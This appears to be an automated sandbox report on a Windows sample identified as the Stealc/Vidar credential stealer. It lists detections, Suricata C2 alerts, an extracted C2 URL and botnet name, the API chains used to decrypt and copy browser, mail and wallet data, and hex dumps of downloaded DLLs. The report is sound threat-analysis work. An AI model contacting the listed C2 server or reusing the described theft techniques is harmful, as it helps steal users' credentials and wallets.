Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1528659
MD5:	9f58b919bf1bfff6184e9086795f1e01
SHA1:	28e1c7688505e239c0dfd485538ef51524f2f470
SHA256:	fee834415b8e8710b13430f491e9a808978c11f4cd796194a1f79604b812a48c
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses IRC for communication with a C&C

Uses known network protocols on non-standard ports

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7336 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 9F58B919BF1BFFF6184E9086795F1E01)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1723473473.0000000005030000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1950543917.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7336	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7336	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7336	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7336	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.570000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T08:22:04.783157+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T08:22:04.776780+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T08:22:05.000007+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T08:22:06.094862+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T08:22:05.007166+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T08:22:04.554332+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T08:22:06.574219+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-08T08:22:11.886979+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-08T08:22:12.946143+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-08T08:22:13.625215+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-08T08:22:15.117497+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-08T08:22:16.935324+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-08T08:22:17.334047+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.570000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.570000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/e2b1563c6670f193.php.dll	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpser	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php3	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll4	Virustotal: Detection: 17%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/nss3.dllC	Virustotal: Detection: 16%	Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00579B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00579B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0057C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00577240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00577240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00579AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00579AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00588EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00588EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1972391998.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1972096031.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1972096031.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1972391998.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00584910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00584910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0057DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0057E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0057BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005716D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005716D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0057F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00583EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00583EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005838B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_005838B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00584570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00584570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0057ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0057DE10

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Uses IRC for communication with a C&C

Source: unknown

IRC traffic detected: 185.215.113.37:80 -> 192.168.2.4:49730 JOIN clause is required before %s%d columns assigned %d valuescannot use RETURNING in a triggerDISTINCT is not supported for window functionstoo many arguments on function %TUNIONORDER BYLIMIT%s clause should come after %s not beforetoo many terms in compound SELECTsyntax error after column name "%.*s"table %s may not be alteredduplicate WITH table name: %sframe specificationORDER BY clausePARTITION clausecannot override %s of window: %sunsupported frame specificationno such collation sequence: %ssqlite\_%sqlite_stat1BBBobject name reserved for internal use: %stoo many terms in %s BY clause%r %s BY term out of range - should be between 1 and %dFOREIGN KEY constraint failedvtable constructor called recursively: %svtable constructor failed: %svtable constructor did not declare schema: %shidden%s.%s%s.rowiderror in %s %s%s%s: %scolumn%dDISTINCT aggregates must have exactly one argumentUSE TEMP B-TREE FOR %s(DISTINCT)"%w" %Q%sdelayed %dms for lock/sharing conflict at line %dcannot limit WAL size: %sfailed memory resize %u to %u bytesfailed to allocate %u bytes of memorycannot open file%s at line %d of [%.10s]database corruptionerror in %s %s after %s: %smalformed database sc

Uses known network protocols on non-standard ports

Source: unknown

Network traffic detected: IRC traffic on port 80 -> 49730

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 08 Oct 2024 06:22:06 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 08 Oct 2024 06:22:11 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 08 Oct 2024 06:22:12 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 